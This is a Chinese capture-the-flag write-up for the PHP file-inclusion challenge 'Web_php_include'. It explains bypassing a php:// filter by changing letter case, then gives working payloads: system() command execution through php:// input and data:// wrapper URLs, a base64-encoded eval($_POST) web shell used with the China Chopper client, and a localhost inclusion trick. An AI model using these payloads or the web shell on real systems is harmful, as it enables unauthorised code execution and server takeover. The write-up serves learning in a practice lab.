Web_php_include解題詳解
————一念既出,萬山無阻
分析——解題——總結
1.分析
代碼不長,咱們慢慢分析
第一句是語法高亮,show_source() 函式對檔案進行語法高亮顯示, 本函式是 highlight_file() 的別名,
第二句是get 傳給hello引數這里可以構造payload:
/?hello=1
發現頁面有回顯
可利用點在后面說到
接著,strstr()函式


這里是例子1在起作用,意思是當傳給page的引數里有php://時,會自動過濾掉,但是此函式對大小寫敏感,構造Php://就不起作用了,而stristr()函式對大小寫不敏感噢
接著是str_replace()函式


意思是當傳給page的引數里有php://時替換為空,大寫可以一并繞過
解題
方法一:hackbar或bp傳參
當時寫題目的時候先用的hackbar,<?php system('ls');?>怎么輸都沒反應,一直以為自己輸入的不對,后來發現自己怎么點Execute頁面都不加載也沒反應,翟神說這是被過濾了,要構造a=<?php system('ls');?>,但是還是沒反應,試試Burpsuite

然后payload:
a = <?php system('cat fl4gisisish3r3.php');?>
得到flag
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
方法二:御劍更改資料庫
雖然攻防世界里的大多數wp都是這個,但是個人不喜歡用,root,沒設密碼是劇情需要吧
其余解法是看了其他師傅的思路,簡要概述一下吧
方法三:data://偽協議執行命令利用
這里是參考既然過濾了php://的偽協議 我們可以使用其他協議來做這里使用data://偽協議
data://偽協議
php5.2.0起,資料流封裝器開始有效,主要用于資料流的讀取,如果傳入的資料是PHP代碼,就會執行代碼
使用方法:data://text/plain;base64,xxxx(base64編碼后的資料)
這里是參考<?php system("dir")?> base64編碼后使用
http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIisssKT8%2b (注意編碼后的+號要URL編碼)
這里是參考<?php system("cat fl4gisisish3r3.php")?> base64編碼后使用
http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==
查看原始碼得到flag
方法四:data://偽協議傳木馬
這里是參考<?php eval($_POST[xiaohua]); ?> base64加密后拼接
http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==
菜刀連接即可:
這兩個方法是借鑒笑花大王師傅的blog,第一次看成了校花咳咳
方法五:hello
來填最上面的坑
隨風kali師傅的解決方法(當時我也發現了,但是卻沒有想到,還是太菜了)
這里是參考hello是有回顯的,所以說不定這里可以命令執行然后回顯到瀏覽器
構造:
/?page=http://127.0.0.1/?hello=<?php system("ls")?>
/?page=http://127.0.0.1/?hello=<?show_source ("fl4gisissh3r3.php")?>
即可得到你想要的東西
總結
總結的比較簡單了,只是因為結果和方法一都差不多,不想增加篇幅,
第一次寫blog,寫了超久,還是有很多東西不會的,所以不是完全自己寫出來的blog,借鑒了很多其他師傅的方法,還算讓自己滿意吧,接下來便是繼續干干干,侵權私信洗掉
唐神今天說了一句話,不太記得了,我的話來說就是:
身體和靈魂都在路上,疲憊的只是身體,而靈魂要一直向前!
2020.11.18
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/225295.html
標籤:其他
上一篇:Nginx 限制單個IP的并發連接數/速度來級訓垃圾蜘蛛爬蟲采集
下一篇:小白規劃
